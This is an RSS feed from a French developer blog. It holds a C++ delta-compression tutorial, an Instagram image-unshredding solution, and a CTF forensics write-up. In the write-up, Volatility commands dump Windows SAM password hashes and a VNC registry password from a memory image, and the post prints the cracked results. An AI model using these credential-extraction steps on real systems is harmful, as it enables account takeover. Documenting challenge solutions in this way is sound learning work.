<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Deckard es un replicante</title>
	<atom:link href="http://www.deckard.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.deckard.fr</link>
	<description>Dev, net &#38; lulz</description>
	<lastBuildDate>Wed, 30 Nov 2011 16:17:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>La delta compression, cette belle inconnue</title>
		<link>http://www.deckard.fr/2011/11/30/la-delta-compression-cette-belle-inconnue/</link>
		<comments>http://www.deckard.fr/2011/11/30/la-delta-compression-cette-belle-inconnue/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 23:54:15 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[C++]]></category>
		<category><![CDATA[Scandale]]></category>
		<category><![CDATA[branlette elitiste]]></category>
		<category><![CDATA[physique quantique]]></category>

		<guid isPermaLink="false">http://www.deckard.fr/?p=513</guid>
		<description><![CDATA[La delta compression est une technique de compression des données. Si je m&#8217;arrêtais là, je pourrais me contenter de faire un tour sur twitter ou de dormir plus tôt. Au lieu de cela, je vous ai concocté un petit exemple adapté aux jeux vidéo en ligne. C&#8217;est beaucoup plus rigolo et d&#8217;autre part ça me [...]]]></description>
			<content:encoded><![CDATA[<p>La delta compression est une technique de compression des données. Si je m&#8217;arrêtais là, je pourrais me contenter de faire un tour sur <strong>twitter</strong> ou de dormir plus tôt. Au lieu de cela, je vous ai concocté un petit exemple adapté aux jeux vidéo en ligne. C&#8217;est beaucoup plus rigolo et d&#8217;autre part ça me permet de dérouiller mon <strong>C++</strong>. Définissons une structure de données assez simple qui représente l&#8217;envoi d&#8217;informations périodiques d&#8217;un joueur au serveur de jeu. Généralement un jeu comme un <strong>FPS </strong>envoi à intervalle régulier l&#8217;état de son personnage au serveur. <strong>Valve </strong>appelle cela un &#8220;tick rate&#8221; car cela représente la fréquence de synchronisation entre le client et le serveur. Tout ce qui se passe entre ces intervalles de temps est interpolé. Cette structure de données est décomposée en deux parties : l&#8217;en-tête et le corps. L&#8217;en-tête représente l&#8217;action jouée par le joueur, une BITMAP et un checksum. La BITMAP va nous servir pour l&#8217;algorithme de compression. Le checksum est inutile. Le très bon <a href="http://fabiensanglard.net/quake2/index.php">Fabien Sanglard</a> décrit l&#8217;utilisation d&#8217;un tel checksum dans le protocole de <strong>Quake2</strong> comme un moyen de vérifier que les paquets n&#8217;ont pas été altérés (autrement dit, l&#8217;anti-triche du pauvre). Je l&#8217;ai juste ajouté par soucis de réalisme à l&#8217;exemple (et aussi pour aligner la structure en mémoire mais ne le dites pas trop fort). Le corps contient les informations sur le monde du jeu. Ce sont ces données là qui seront compressées.</p>
<pre class="prettyprint lang-cpp linenumstrigger linenums">typedef struct header
{
	unsigned char action:4, compress:4;
	unsigned char csum;
} t_header;

typedef struct body
{
	unsigned short int orientation;
	unsigned short int pos_x;
	unsigned short int pos_y;
} t_body;

typedef struct message
{
	t_header head;
	t_body body;
} t_message; /* 8 bytes */</pre>
<p>Notre message ressemble a ça :</p>
<blockquote><p>|action|compress|csum|orientation|pos_x|pos_y|</p></blockquote>
<p>Nous allons simuler le déplacement d&#8217;un personnage imaginaire suivant le chemin tracé ci-dessous (sur l&#8217;axe des x et des y).</p>
<p style="text-align: center;"> <a href="http://www.deckard.fr/wp-content/uploads/2011/11/trait-fleche-noir.png"><img class="aligncenter size-full wp-image-529" title="trait-fleche-noir" src="http://www.deckard.fr/wp-content/uploads/2011/11/trait-fleche-noir.png" alt="" width="863" height="128" /></a></p>
<p>Notez que sur le premier tronçon, le personnage ne change pas d&#8217;orientation et que sur les deux derniers il s&#8217;oriente aléatoirement. Il y a une dernière étape non visible sur le tracé et pour cause, le personnage ne bouge plus, il se contente juste de regarder à droite et gauche suivant son envie (aussi connue sous le nom &#8220;la pause du campeur&#8221;). Avec cette simulation nous allons voir de manière immédiate quel est l&#8217;intérêt de la delta compression. Vous me direz que je tourne autour du pot depuis le début, et bien c&#8217;est vrai. Prenons juste le paquet présenté plus haut.</p>
<blockquote><p>|action|compress|csum|orientation|pos_x|pos_y|</p></blockquote>
<p>Supposons que je le compare avec celui envoyé précédemment ou autrement dit p(t) avec p(t-1). Nous ne touchons pas à l&#8217;en-tête du paquet, mais seulement aux trois derniers champs. Ainsi si le personnage n&#8217;a pas bougé, une opération comme p(t) &#8211; p(t-1) nous donnera :</p>
<blockquote><p>|action|compress|csum|</p></blockquote>
<p>La delta compression est une technique basée sur la comparaison avec les précédents envois. Elle part du principe qu&#8217;il ne sert à rien de renvoyer une information qui n&#8217;a pas changé. Si l&#8217;on refait un exemple avec des valeurs numérique cette fois:</p>
<blockquote><p>t-1 : |action|compress|csum|60|10|10| (personnage regardant à 60° et positionné en (10,10))</p></blockquote>
<blockquote><p>t : |action|compress|csum|60|15|10| (personnage regardant à 60° et positionné en (15,10))</p></blockquote>
<p>Le paquet résultant sera :</p>
<blockquote><p>|action|compress|csum|15|</p></blockquote>
<p>Et là, vous devez immédiatement vous demander comment le destinataire va pouvoir recomposer le message original. Et bien grâce au champ de bits &#8220;compress&#8221;. Plongeons dans l&#8217;algorithme.</p>
<pre class="prettyprint lang-cpp linenumstrigger linenums">bool Network::Compress(unsigned short int *orig_arg, unsigned short int *old_arg, unsigned short int* current_ptr, int *len, char *mask)
{
	// true if no compression
	bool inc = false;
	// search changed
	if(*orig_arg != *old_arg)
	{
		// put it in buffer
		memcpy(current_ptr, orig_arg, sizeof(*orig_arg));
		*len += sizeof(short int);
		inc = true;
	}
	else
	{
		// save unchanged
		*mask += 1;
	}

	// shift
	*mask &amp;lt;&amp;lt;=1;

	return inc;
}</pre>
<p>Déroulons l&#8217;algorithme dans l&#8217;ordre d’exécution. Les deux premiers arguments sont les mêmes paramètres séparés d&#8217;un intervalle de temps. Dans l&#8217;exemple précédent pour pos_x, les valeurs 10 et 15. Si ces deux valeurs sont différentes, la delta compression ne s&#8217;applique pas. On place la dernière valeur dans le buffer du message qui sera envoyé par un socket (en augmentant la taille du buffer de la taille de l&#8217;argument ajouté). La partie intéressante est juste après. Si les deux arguments avaient été égaux, on aurait juste ajouté 1 à la valeur du BITMAP. Et dans les deux cas nous décalerons ensuite. Le BITMAP permet de dire à l&#8217;autre bout qui devra recomposer le message quel morceaux ont été enlevé ou non. Je vous rappel que mon champ &#8216;compress&#8217; tient sur 4 bits. Reprenons l&#8217;exemple précedent.</p>
<blockquote><p>t-1 : |action|compress|csum|60|10|10| (personnage regardant à 60° et positionné en (10,10))</p></blockquote>
<blockquote><p>t : |action|compress|csum|60|15|10| (personnage regardant à 60° et positionné en (15,10))</p></blockquote>
<p>Je compare 60 et 60. C&#8217;est égal donc je delta compresse. J&#8217;ajoute un au mask et je décale à gauche. Donc compress = &#8217;0010&#8242; Je prends ensuite 10 et 15 qui sont différents. Je ne delta compresse pas mais je décale encore une fois à gauche. Donc compress = &#8217;0100&#8242;. Pour le dernier cas, 10 et 10, je delta compresse également. Donc compress = &#8217;1001. (vous remarquerez le bug de mon implémentation, le deuxième zéro est faux car je n&#8217;aurai pas du décaler pour le premier passage). Pour corriger l&#8217;exemple disons que le résultat obtenu est compress =&#8217;0101&#8242;. Comme nous n&#8217;avons que 3 arguments, nous ne regardons que les trois derniers bits. Un 1 signifie que l&#8217;argument a été compressé et un 0 non. Ainsi le serveur sait en recevant ce message que pour le reconstituer il doit insérer les arguments désignés par les 1 (autrement dit, le premier argument et le dernier). L&#8217;algorithme complet donne ceci:</p>
<pre class="prettyprint lang-cpp linenumstrigger linenums">int Network::Send(t_message *message)
{
	char *snd_buffer;
	int snd_len = 0;

	if(delta_compress)
	{
		// can be allocate just one time, simpler to do it here dynamically
		snd_buffer = (char *)malloc(sizeof(t_message));
		snd_len = 2*sizeof(char);

		unsigned short int *current_ptr = (unsigned short int*)(snd_buffer + snd_len);

		// copy header into buffer
		memcpy(snd_buffer, &amp;amp;(message-&amp;gt;head), snd_len);

		// change mask
		char mask = 0x00;

		if(Compress(&amp;amp;(message-&amp;gt;body.orientation), &amp;amp;(old_message.body.orientation), current_ptr, &amp;amp;snd_len, &amp;amp;mask)) current_ptr++;
		if(Compress(&amp;amp;(message-&amp;gt;body.pos_x), &amp;amp;(old_message.body.pos_x), current_ptr, &amp;amp;snd_len, &amp;amp;mask)) current_ptr++;
		if(Compress(&amp;amp;(message-&amp;gt;body.pos_y), &amp;amp;(old_message.body.pos_y), current_ptr, &amp;amp;snd_len, &amp;amp;mask)) current_ptr++;

		// set new mask
		snd_buffer[1] = mask;

		// save (new) old buffer, we save the whole message but we can only save the body since compression only apply to it
		memcpy(&amp;amp;old_message, message, sizeof(t_message));

	}
	else
	{
		snd_buffer = (char*)message;
		snd_len = sizeof(t_message);
	}
	sendto(sock, snd_buffer, snd_len, 0, (struct sockaddr*)&amp;amp;sout, sizeof(struct sockaddr));

	if(delta_compress) free(snd_buffer);

	return snd_len;
}</pre>
<p>La classe Network qui encapsule toute la logique permet de désactiver la delta compression (symbolisée par le booléen delta_compress). Voilà rien d&#8217;extraordinaire, j&#8217;ai quand même réussi à laisser passer un beau bug sur le bitmap. En terme de performance et d&#8217;optimisation de la bande passante, les résultats sont assez bons: <a href="http://www.deckard.fr/wp-content/uploads/2011/11/deltacompression.png"><img class="aligncenter size-large wp-image-538" title="deltacompression" src="http://www.deckard.fr/wp-content/uploads/2011/11/deltacompression-1024x320.png" alt="" width="670" height="209" /></a> Ce graphique représente la taille de messages (en octet) dans le temps. On distingue très nettement les 4 paliers (avancer sur x, diagonale en tournant, avancer sur x en tournant, immobile en tournant). La ligne rouge représente la même expérimentation sans delta compression (on retrouve bien la taille de 8 octets de notre message). On aperçoit des variations dans les 3 derniers paliers à cause du caractère aléatoire de la rotation. Calculons un ratio de compression juste pour avoir quelques chiffres tangibles. Chaque palier est constitué de 200 échantillons. Le pire des cas envoie donc 800*8 octets = 6400 octets. En oubliant les oscillations et en conservant le pire des résultats avec la delta compression, nous obtenons 4*200 + 8*200 + 6*200 + 4*200 = 4400 octets. Soit un ratio de 4400 / 6400 = 68% donc 32% de compression. Bon, ce n&#8217;est pas vraiment représentatif de l&#8217;activité réelle d&#8217;un joueur mais c&#8217;est tout de même un beau résultat. Surtout que dans le cas d&#8217;un si petit paquet, une compression de type Inflate (Zlib) était à proscrire car l&#8217;overhead de l&#8217;en-tête de zlib est déjà de 4 octets (au minimum).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2011/11/30/la-delta-compression-cette-belle-inconnue/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Challenge de programmation Instagram : Shredder</title>
		<link>http://www.deckard.fr/2011/11/24/challenge-de-programmation-instagram-shredder/</link>
		<comments>http://www.deckard.fr/2011/11/24/challenge-de-programmation-instagram-shredder/#comments</comments>
		<pubDate>Thu, 24 Nov 2011 18:17:48 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[star du rock]]></category>

		<guid isPermaLink="false">http://www.deckard.fr/?p=482</guid>
		<description><![CDATA[J&#8217;ai participé il y a deux semaines de cela à un petit challenge d’algorithmie lancé par Instagram, mais si vous savez, le réseau social aux teintes polaroids. Pour ceux qui ont la flemme d&#8217;aller sur leur blog, voici visuellement en quoi le challenge consiste. Le but du jeu était à partir d&#8217;une image découpée en [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;ai participé il y a deux semaines de cela à un petit challenge d’algorithmie lancé par <a href="http://instagram-engineering.tumblr.com/post/12651721845/instagram-engineering-challenge-the-unshredder"><strong>Instagram</strong></a>, mais si vous savez, le réseau social aux teintes polaroids. Pour ceux qui ont la flemme d&#8217;aller sur leur blog, voici visuellement en quoi le challenge consiste.</p>
<p>Le but du jeu était à partir d&#8217;une image découpée en segments et réarrangée aléatoirement, de retrouver l&#8217;ordre original en régénérant l&#8217;image. L&#8217;analogie était faite avec un broyeur de documents qui découpe les feuilles de papier en des lamelles de tailles égales.</p>
<div id="attachment_490" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.deckard.fr/wp-content/uploads/2011/11/tokyio-shredded.png"><img class="size-full wp-image-490" title="tokyio-shredded" src="http://www.deckard.fr/wp-content/uploads/2011/11/tokyio-shredded.png" alt="" width="500" height="280" /></a><p class="wp-caption-text">On voit bien les lamelles ici.</p></div>
<div id="attachment_491" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.deckard.fr/wp-content/uploads/2011/11/tokyio-unshredded.png"><img class="size-full wp-image-491" title="tokyio-unshredded" src="http://www.deckard.fr/wp-content/uploads/2011/11/tokyio-unshredded.png" alt="" width="500" height="280" /></a><p class="wp-caption-text">Après un peu de sang et de larmes, on arrive à cela.</p></div>
<p>Il se trouve que j&#8217;ai été sélectionné dans le groupe A (le groupe des winners mesdames et monsieurs). Je vais donc recevoir un superbe t-shirt, et pour la peine ça mérite un article.</p>
<p>Voici comment je m&#8217;y suis pris.</p>
<p>Je choisis une lamelle de l&#8217;image (dans les faits, la première à gauche mais cela n&#8217;a pas d&#8217;impact sur l&#8217;algorithme). Je cherche la lamelle à sa droite parmi toutes les autres. Pour ce faire je compare le bord droit de ma première lamelle avec le bord gauche de l&#8217;autre. Comparer un bord veut dire comparer pour une même hauteur le pixel de gauche et de droite.</p>
<pre class="prettyprint lang-python linenumstrigger linenums">for y in range(self.source_image.size[1]):
    # compare left pixel and right pixel with tolerance
    pixel_left = shred_left.get_right_pixels(y)
    pixel_right = shred_right.get_left_pixels(y)

    # score is a flat number (clarity)
    score += abs(pixel_left[0] - pixel_right[0])
    + abs(pixel_left[1] - pixel_right[1])
    + abs(pixel_left[2] - pixel_right[2])
    + abs(pixel_left[3] - pixel_right[3])</pre>
<p>Dans les deux premières lignes, je récupère les pixels des bords. Je lis mon image en RGBA (Red, Green, Blue, Alpha). Ceci veut dire que chaque pixel est représenté par 4 valeurs, les 3 couleurs et sa transparence.</p>
<blockquote><p>Ainsi, si deux pixels sont semblables, la soustraction de l&#8217;un avec l&#8217;autre devrait tendre vers 0.</p></blockquote>
<p>Pour chaque pixel comparé, j&#8217;en retire un score (soustrayant chaque composante ensemble et en les sommant pour passer d&#8217;un vecteur à un scalaire).  Je n&#8217;oublie pas d&#8217;en tirer à chaque fois la valeur absolue pour ne pas fausser le résultat.</p>
<p>Ainsi, si deux pixels sont proches, leur soustraction tend vers 0, donc leur score sera petit. Ayant comparé toutes les lamelles entre elles, la bonne voisine est celle qui a le score le plus bas. Et ainsi de suite.</p>
<p>Cette approche m&#8217;a permis de réunifier avec quelques erreurs le dessin du dessus. Lorsque dans le commentaire du code je précise &#8220;with tolerance&#8221;, cela veut dire que je n&#8217;ai pas réellement comparé deux pixels entre eux. Et oui j&#8217;ai menti. Regardons le code des &#8220;get_left_pixels&#8221; (le code pour le pixel de droite est identique).</p>
<pre class="prettyprint lang-python linenumstrigger linenums">def get_left_pixels(self, y):
    &quot;&quot;&quot;
    Given a height, get the average left pixel.

    &quot;&quot;&quot;

    pixels = []

    for i in range(0, self.magic_average):
       pixels.append(self.get_pixel_value(self.x + i, y))

    average_pixel = reduce(self.get_average_pixel, pixels)

    return average_pixel</pre>
<p>Au lieu de récupérer un seul pixel, je moyenne un nombre de pixels donné sur la même ligne (le nombre de pixels étant symbolisé par magic_average). La moyenne est effectuée par &#8220;get_average_pixel&#8221; et aidée d&#8217;un reduce parce que moi aussi je connais la programmation fonctionnelle, non mais. J&#8217;ai déterminé ce magic number de manière très empirique et sa valeur est trois. Point. Plus, vous augmentez les erreurs, moins, ce n&#8217;est pas assez. Tout simplement.</p>
<p>Vous vous dites, tu es sympa coco, ton article bien long, il commence à me fatiguer (ou bien tu t&#8217;es déjà arrêté de lire mais tu programmes surement en <strong>Java</strong>). Et bien ce serait dommage de s&#8217;arrêter de lire maintenant car l&#8217;algorithme ne résout pas encore le problème. Paradoxalement c&#8217;est la partie sur laquelle j&#8217;ai passé le plus de temps.</p>
<blockquote><p>Pour l&#8217;instant, nous sommes incapables de déterminer la première lamelle de la dernière !</p></blockquote>
<p>Et oui, le début n&#8217;est pas au début et la fin n&#8217;est pas à la fin, comme si l&#8217;image avait été coupée en deux. Naïvement je pensais qu&#8217;en conservant tous les scores et en choisissant comme début et fin les deux lamelles qui avaient eu le score le plus improbable (donc le plus haut) seraient les deux bords. A priori, les bords n&#8217;ayant pas de voisin par définition, le côté trouvé doit vraiment avoir un score haut. Et bien pas du tout. Et oui j&#8217;étais aussi déçu que vous.</p>
<p>J&#8217;ai donc fait ça.</p>
<pre class="prettyprint lang-python linenumstrigger linenums">while(len(self.shred_ordered) &amp;lt; len(self.shred_list) and loop):
    # search neighbor while all shred are not ordered
    current_shred = local_find(shred)

    # must not be possible
    assert(current_shred not in self.shred_ordered)

    if seek_right:
        # check if it is a good fit with its left side
        left_shred = self.find_left(current_shred)

        if left_shred.x != shred.x:
             # it is the right border
             loop = False</pre>
<p>Je lance l&#8217;algorithme pour rechercher tous les voisins de droite successifs des lamelles. Pour m&#8217;assurer que ce n&#8217;est pas un bord, je cherche aussi à voir si le voisin de gauche de la lamelle potentiellement voisine de droite (vous suivez ?) est bien la même. Sinon, c&#8217;est un bord. Dans le code cela se caractérise par la dernière condition où je compare les abscisses des deux lamelles (j&#8217;identifie les lamelles par leurs abscisses du point en haut à gauche). &#8220;local_find&#8221; est dans l&#8217;exemple un pointeur de fonction sur &#8220;find_right&#8221;, ceci m&#8217;a permis de factoriser le code pour permettre la recherche à gauche et à droite dans la même fonction (symbolisé par le booléen seek_right).</p>
<p>Juste pour la beauté du geste, j&#8217;utilise une liste pour stocker les lamelles ordonnées (&#8220;shred_ordered&#8221;). Voici l&#8217;algorithme à son plus haut niveau d&#8217;abstraction.</p>
<pre class="prettyprint lang-python linenumstrigger linenums"># peek the first shred to start
self.shred_ordered.append(self.shred_list[VAR_START_WITH])
# order from left to right
self.order_shred(True, self.shred_ordered[-1])
# reverse to order from right to left
self.shred_ordered.reverse()
self.order_shred(False, self.shred_ordered[-1])
# reverse again to get the original order
self.shred_ordered.reverse()</pre>
<p>Je renverse juste l&#8217;ordre de la liste avant de changer le sens de la recherche. Finalement je renverse une dernière fois cette liste afin qu&#8217;elle soit correctement lue par la fonction de sauvegarde de l&#8217;image ordonnée (sinon l&#8217;image aurait eu un effet miroir assez dérangeant).</p>
<p>Voilà, je me suis bien amusé et vous ?</p>
<p>Le code source de la chose est disponible sur mon github -&gt; <a href="https://github.com/deckard-fr/Shreddator">c&#8217;est par là et ça s’appelle <strong>Shreddator</strong></a> !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2011/11/24/challenge-de-programmation-instagram-shredder/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>La nuit du hack 2011 Préqual</title>
		<link>http://www.deckard.fr/2011/04/05/la-nuit-du-hack-2011-prequal/</link>
		<comments>http://www.deckard.fr/2011/04/05/la-nuit-du-hack-2011-prequal/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 10:09:10 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[InfoSec]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[kikoolol]]></category>
		<category><![CDATA[ndk11]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=392</guid>
		<description><![CDATA[Dans le week-end du 2 au 3 mars 2011, j&#8217;ai participé aux qualifications de la nuit du hack. Sous le nom d&#8217;équipe lulz task force, nous étions 5 jeunes gaillards à l&#8217;assaut de 4 catégories de challenge : web, forensic, cryptographie et reverse. Nous étions 5 au début mais on dira que nos effectifs se [...]]]></description>
			<content:encoded><![CDATA[<p>Dans le week-end du 2 au 3 mars 2011, j&#8217;ai participé aux qualifications de la <a href="http://www.nuitduhack.com/">nuit du hack</a>. Sous le nom d&#8217;équipe <strong>lulz task force</strong>, nous étions 5 jeunes gaillards à l&#8217;assaut de 4 catégories de challenge : web, forensic, cryptographie et reverse.</p>
<p>Nous étions 5 au début mais on dira que nos effectifs se sont sérieusement émoussés au fil des heures et que, finalement, je me suis retrouvé seul à valider mes challenges. Malheureusement, un certain <strong>jb</strong> a planté son serveur <strong>Windows 2008</strong> en voulant charger une base Active Directory et une certaine école d&#8217;ingénieurs (<strong>INSA</strong>) bloque des (enormement est un euphémisme) ports de son réseau à ses étudiants, ce qui réduit leur potentiel (hein seb <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ). Ce sont les dommages collatéraux du weekend ! Mention spéciale au wiki intégré de <strong>redmine</strong> qui permet facilement de synchroniser et de garder une trace de sa progression.</p>
<p>Chaque catégorie comporte 3 challenges qui vont crescendo en difficultés. Les défis webs étaient tous des challenges avec injection sql. Nous avons identifié tous les points d&#8217;injections mais malheureusement nous sommes des buses en ce qui concerne la rédaction des requêtes. On me souffle dans l&#8217;oreillette qu&#8217;il est possible de dumper les schémas de la base de données (ce qui rend les choses beaucoup plus faciles, thx dr. obvious). La forensic se résume à l&#8217;étude d&#8217;image de la ram. La cryptographie: pas de grosses surprises non plus mais là encore aucun succès. Pour le reverse engineering, il y avait une rom de <strong>nintendo DS</strong> à cracker et une application android que j&#8217;ai reverse <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  On en reparle plus bas.</p>
<p>Je vais décrire dans ce qui suit les techniques que j&#8217;ai employées pour résoudre les 3 challenges qui nous ont permis de finir 41eme (ce qui fait 550 points, le max étant 1200 sans compter les bonus). <strong>For lulz and glory</strong>. <a href="http://prequals.nuitduhack.com/classement.php">voir le classement</a></p>
<p>Dernière chose, si vous voulez vous aussi tester ce que je dis ou faire parler votre talent naturel (sisi) un mirroir des épreuves se trouve à <a href="http://repo.shell-storm.org/CTF/NDH2K11-prequals/">cette adresse</a>.</p>
<h2>Forensic100 ou comment trouver un mot de passe de serveur VNC</h2>
<p>Le but du jeu est de retrouver le mot de passe d&#8217;un serveur VNC (RealVNC). Pour cela, on nous fournit l&#8217;image de la ram de la machine sur laquelle tourne ce serveur. Etant un complet néophyte dans le domaine, je demande à mon <strong>Laurent</strong> préféré (le mec qui m&#8217;a fait aimer la discipline mais vous vous en foutez et je raconte ma vie comme je veux sur mon blog d&#8217;abord, meh) qui me conseille <strong>memorize</strong>.</p>
<p>Le soft est un freeware poussé par une grosse boite de forensic. L&#8217;outil permet de lister les processus ouvert et les fichiers associés et ainsi de découvrir les drivers qui tournent. Malheureusement il ne permet pas de dumper les fichiers ni de lire les clés de registres associées. Un bon outil qui fait rapidement la job (comme dirait ce Québecois de <strong>Laurent</strong>, non les français ne parlent pas comme ça), mais qui ne convient pas au problème.</p>
<p>En effet, j&#8217;ai installé entre temps un server RealVNC (la même version que listé par <strong>memorize</strong> cela dit, plutôt un bon point) pour regarder où le logiciel stockait son mot de passe. Et bien tout simplement dans la base de registre ! Chiffré par je ne sais quel algorithme (surement du DES).</p>
<p>Ayant constaté cela, la course va être facile. Je dump la base de registre de l&#8217;image mémoire et je vais lire la clé. Voilà de bien belles paroles mais je ne sais absolument pas faire ce genre de chose. C&#8217;est là que <strong>seb</strong> entend parler de <strong>volatility</strong> sur un site Grec (véridique). J&#8217;investigue la solution, compile le logiciel sur <strong>Windows</strong> (c&#8217;est du python) et je joue un peu avec. C&#8217;est de la ligne de commande. La communauté qui porte se logiciel a produit un certains nombre de plugins qui me seront utiles par la suite.</p>
<p>On commence l&#8217;épreuve à proprement dite maintenant (comme quoi l&#8217;adage réfléchir avant d&#8217;agir est toujours vrai:)).</p>
<p>On va utiliser <strong>volatility</strong> pour dumper des zones mémoires et récupérer ce qui nous intéresse. Pour cela nous allons utiliser les plugins <strong>volreg</strong> et <strong>volrip</strong> qui permettent de récupérer les informations systèmes de l&#8217;os en ram (je généralise un peu vite, il analyse du Windows XP, je n&#8217;ai aucune idée si cela marche avec autre chose que du Windows).</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengeVolatility-1.3_Beta&amp;gt;python volatility hivescan -f dump.raw
Offset (hex)
44759904 0x2aafb60
44765192 0x2ab1008
47600264 0x2d65288
49462112 0x2f2bb60
57268056 0x369d758
117583880 0x7023008
117586784 0x7023b60
138480480 0x8410b60
140337160 0x85d6008
144967512 0x8a40758
145000296 0x8a48768
146788360 0x8bfd008
167239688 0x9f7e008</pre>
<p>La première chose que vous remarquez, c&#8217;est que je travaille surWindows pour le coup <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>La seconde c&#8217;est que je dump une liste d&#8217;adresse mémoire qui ne font aucun sens. <strong>hivescan</strong> trouve &#8220;juste&#8221; les adresses occupées par le registre dans la RAM.</p>
<p>Ne nous arrêtons pas là:</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengeVolatility-1.3_Beta&amp;gt;python volatility hivelist -f
dump.raw -o 0x2aafb60
Address Name
0xe1809008 Documents and SettingseleveLocal SettingsApplication
DataMicrosoftWindowsUsrClass.dat
0xe1986008 Documents and SettingseleveNTUSER.DAT
0xe17a9768 Documents and SettingsLocalServiceLocal
SettingsApplication DataMicrosoftWindowsUsrClass.dat
0xe179b758 Documents and SettingsLocalServiceNTUSER.DAT
0xe1770008 Documents and SettingsNetworkServiceLocal
SettingsApplication DataMicrosoftWindowsUsrClass.dat
0xe175fb60 Documents and SettingsNetworkServiceNTUSER.DAT
0xe13ffb60 WINDOWSsystem32configsoftware
0xe14ab008 WINDOWSsystem32configdefault
0xe14abb60 WINDOWSsystem32configSAM
0xe14e4758 WINDOWSsystem32configSECURITY
0xe12e8288 [no name]
0xe1035b60 WINDOWSsystem32configsystem
0xe102e008 [no name]</pre>
<p>A partir d&#8217;une adresse physique en mémoire, on récupère la liste des adresses virtuelles des emplacements du registre. Pour la peine <strong>volatility</strong> nous donne le nom des entrées ce qui va nous simplifier la vie.</p>
<p>J&#8217;avoue que la première chose que j&#8217;ai faite a été de dumper le fichier SAM même si cela ne sert à rien ici:</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengeVolatility-1.3_Beta&amp;gt;python volatility hashdump -f
dump.raw -y 0xe1035b60 -s 0xe14abb60
Administrateur:500:bac14d04669ee1d1aad3b435b51404ee:fbbf55d0ef0e34d39593f55c5f2ca5f2:::
Invit&Atilde;&copy;:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:0f49d2f4d3c6fd9cdcf900189bc46b05:e9ee7219c4e84d50f2b5569b4f49a053:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:23120f1b3baae60f657745ccecffd511:::
eleve:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</pre>
<p>Seul le mot de passe Administrateur est tout de suite tombé. C&#8217;est &#8220;TOTO&#8221;. J&#8217;ai bien sûr utilisé <strong>john the ripper</strong>. Peut être que le mot de passe de élève était un flag bonus. Avis aux amateurs.</p>
<p>Revenons à nos moutons, et dumpons la base de registre &#8220;software&#8221;, là ou se situe l&#8217;entrée de VNC. <strong>Volatility</strong> va me permettre de dumper toute la base software avec la valeur des clés associées là où <strong>memorize</strong> me permettait seulement de voir la clé sans la valeur (et encore pas la base software car VNC se trouve à plusieurs endroits dans la base de registre).</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">python volatility hivedump -f dump.raw -i 0xe13ffb60 -v</pre>
<p>L&#8217;option -v est très importante car elle permet de dumper les valeurs des clés. Sans elle, vous aurez juste les clés ce qui ne sert pas à grand chose dans notre cas. Je me retrouve avec un fichier nommé &#8220;0xe13ffb60.csv&#8221; qui est juste une base de registre <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Je récupère dans la clé &#8220;Password&#8221; la valeur suivante : da6e31849577ad6b.</p>
<p>Je recherche 2 minutes un soft pour cracker une clé vnc. J&#8217;avoue que la technique de chiffrement de leur clé ne m&#8217;intéresse pas vraiment, j&#8217;aurai l&#8217;occasion d&#8217;écrire un brute force en <strong>Python</strong> plus tard <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengevncpwdump-win32-1_0_6&amp;gt;vncpwdump.exe -k da6e31849577ad6b

VNCPwdump v.1.0.6 by patrik@cqure.net
-------------------------------------
Password: secretpq</pre>
<p>Le flag est donc <strong>secretpq</strong>. Voilà un premier challenge de validé ! J&#8217;ai bien dû mettre 4h pour faire ça.</p>
<h2>Forensic300 ou parlez vous netcat ?</h2>
